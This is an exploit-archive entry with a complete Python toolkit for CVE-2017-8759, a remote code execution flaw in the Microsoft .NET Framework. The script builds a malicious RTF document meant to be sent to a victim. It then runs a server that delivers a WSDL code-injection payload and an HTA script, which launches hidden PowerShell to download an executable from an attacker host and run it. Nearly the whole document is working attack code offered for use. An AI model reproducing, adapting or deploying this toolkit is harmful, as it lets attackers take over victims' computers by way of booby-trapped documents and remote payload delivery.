Microsoft .NET Framework Remote Code Execution

Microsoft .NET Framework remote code execution exploit toolkit. Affects versions 2.0, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 and 4.7.


MD5 | 5d2b9d50bedd72c43d41b842b39b8a05

#!/usr/bin/env python
'''

## Exploit toolkit CVE-2017-8759 - v1.0 (https://github.com/bhdresh/CVE-2017-8759) ##

'''
import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo


BACKLOG = 50 # how many pending connections queue will hold
MAX_DATA_RECV = 999999 # max number of bytes we receive at once
DEBUG = True # set to True to see the debug msgs
def main(argv):
# Host and Port information
global port
global host
global filename
global docuri
global payloadurl
global payloadlocation
global custom
global mode
global obfuscate
global payloadtype
filename = ''
docuri = ''
payloadurl = ''
payloadlocation = ''
custom = ''
port = int("80")
host = ''
mode = ''
obfuscate = int("0")
payloadtype = 'rtf'

# Capture command line arguments
try:
opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:H:x:t:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation=","custom=","obfuscate=","payloadtype="])
except getopt.GetoptError:
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print "\nThis is a handy toolkit to exploit CVE-2017-8759 (Microsoft .NET Framework RCE)\n"
print "Modes:\n"
print " -M gen Generate Malicious file only\n"
print " Generate malicious payload:\n"
print " -w <Filename.rtf> Name of malicious RTF file (Share this file with victim).\n"
print " -u <http://attacker.com/test.txt> Path of remote txt file. Normally, this should be a domain or IP where this tool is running.\n"
print " For example, http://attacker.com/test.txt (This URL will be included in malicious file and\n"
print " will be requested once victim will open malicious RTF file.\n"
print " -M exp Start exploitation mode\n"
print " Exploitation:\n"
print " -p <TCP port:Default 80> Local port number.\n"
print " -e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.\n"
print " -l </tmp/shell.exe> Specify local path of an executable file / meterpreter shell / payload.\n"
sys.exit()
elif opt in ("-M","--mode"):
mode = arg
elif opt in ("-w", "--filename"):
filename = arg
elif opt in ("-u", "--docuri"):
docuri = arg
elif opt in ("-p", "--port"):
port = int(arg)
elif opt in ("-e", "--payloadurl"):
payloadurl = arg
elif opt in ("-l", "--payloadlocation"):
payloadlocation = arg
if "gen" in mode:
if (len(filename)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
if (len(docuri)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
print "Generating normal RTF payload.\n"
generate_exploit_rtf()
sys.exit()
mode = 'Finished'
if "exp" in mode:

if (len(payloadurl)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
if (len(payloadurl)>1 and len(payloadlocation)<1):
print "Running exploit mode (Deliver HTA with remote payload) - waiting for victim to connect"
exploitation_rtf()
mode = 'Finished'
sys.exit()
if (len(payloadurl)>1 and len(payloadlocation)>1):
print "Running exploit mode (Deliver HTA + Local Payload) - waiting for victim to connect"
exploitation_rtf()
mode = 'Finished'
if not "Finished" in mode:
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
def generate_exploit_rtf():
# Preparing malicious RTF
s = docuri
docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)
docuri_pad_len = 714 - len(docuri_hex)
docuri_pad = "0"*docuri_pad_len
payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
payload += "{\\info\n"
payload += "{\\author }\n"
payload += "{\\operator }\n"
payload += "}\n"
payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
payload += "{\n"
payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
payload += "{\\*\\objclass Word.Document.8}\n"
payload += "{\\*\\objdata 010500000200000008000000e2bae4e53e2231000000000000000000000a0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff010000000003000000000000c000000000000046000000000000000000000000f02c1951c8e5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000d8010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000020000000300000004000000050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0100000209000000010000000000000000000000000000008c010000c7b0abec197fd211978e0000f8757e2a00000000700100007700730064006c003d00"+docuri_hex+docuri_pad+"00ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000}\n"
payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
payload += "{\\*\\datastore }\n"
payload += "}\n"
f = open(filename, 'w')
f.write(payload)
f.close()
print "Generated "+filename+" successfully"

def exploitation_rtf():

print "Server Running on ",host,":",port

try:
# create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# associate the socket to host and port
s.bind((host, port))

# listenning
s.listen(BACKLOG)

except socket.error, (value, message):
if s:
s.close()
print "Could not open socket:", message
sys.exit(1)

# get the connection from client
while 1:
conn, client_addr = s.accept()

# create a thread to handle request
thread.start_new_thread(server_thread, (conn, client_addr))

s.close()

def server_thread(conn, client_addr):

# get the request from browser
try:
request = conn.recv(MAX_DATA_RECV)
if (len(request) > 0):
# parse the first line
first_line = request.split('\n')[0]

# get method
method = first_line.split(' ')[0]
try:
url = first_line.split(' ')[1]
except IndexError:
print "Invalid request from "+client_addr[0]
conn.close()
sys.exit(1)

if ".exe" in url:
print "Received request for payload from "+client_addr[0]
try:
size = os.path.getsize(payloadlocation)
except OSError:
print "Unable to read "+payloadlocation
conn.close()
sys.exit(1)
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
with open(payloadlocation) as fin:
data +=fin.read()
conn.send(data)
conn.close()
sys.exit(1)
if ".hta" in url:
print "Received GET method from "+client_addr[0]
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n<script>\na=new ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe', 0);window.close();\n</script>\r\n"
conn.send(data)
conn.close()
if ".txt" in url:
print "Received GET method from "+client_addr[0]
data = 'HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 2000\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/plain\r\n\r\n<definitions\n xmlns="http://schemas.xmlsoap.org/wsdl/"\n xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"\n xmlns:suds="http://www.w3.org/2000/wsdl/suds"\n xmlns:tns="http://schemas.microsoft.com/clr/ns/System"\n xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">\n <portType name="PortType"/>\n <binding name="Binding" type="tns:PortType">\n <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>\n <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>\n </binding>\n <service name="Service">\n <port name="Port" binding="tns:Binding">\n <soap:address location="'+payloadurl.split(':')[0]+"://"+payloadurl.split('/')[2]+'?C:\Windows\System32\mshta.exe?'+payloadurl.split(':')[0]+"://"+payloadurl.split('/')[2]+'/cmd.hta"/>\n <soap:address location=";\n if (System.AppDomain.CurrentDomain.GetData(_url.Split(\'?\')[0]) == null) {\n System.Diagnostics.Process.Start(_url.Split(\'?\')[1], _url.Split(\'?\')[2]);\n System.AppDomain.CurrentDomain.SetData(_url.Split(\'?\')[0], true);\n } //"/>\n </port>\n </service>\n</definitions>\n'
conn.send(data)
conn.close()
sys.exit(1)
except socket.error, ex:
print ex

if __name__ == '__main__':
main(sys.argv[1:])

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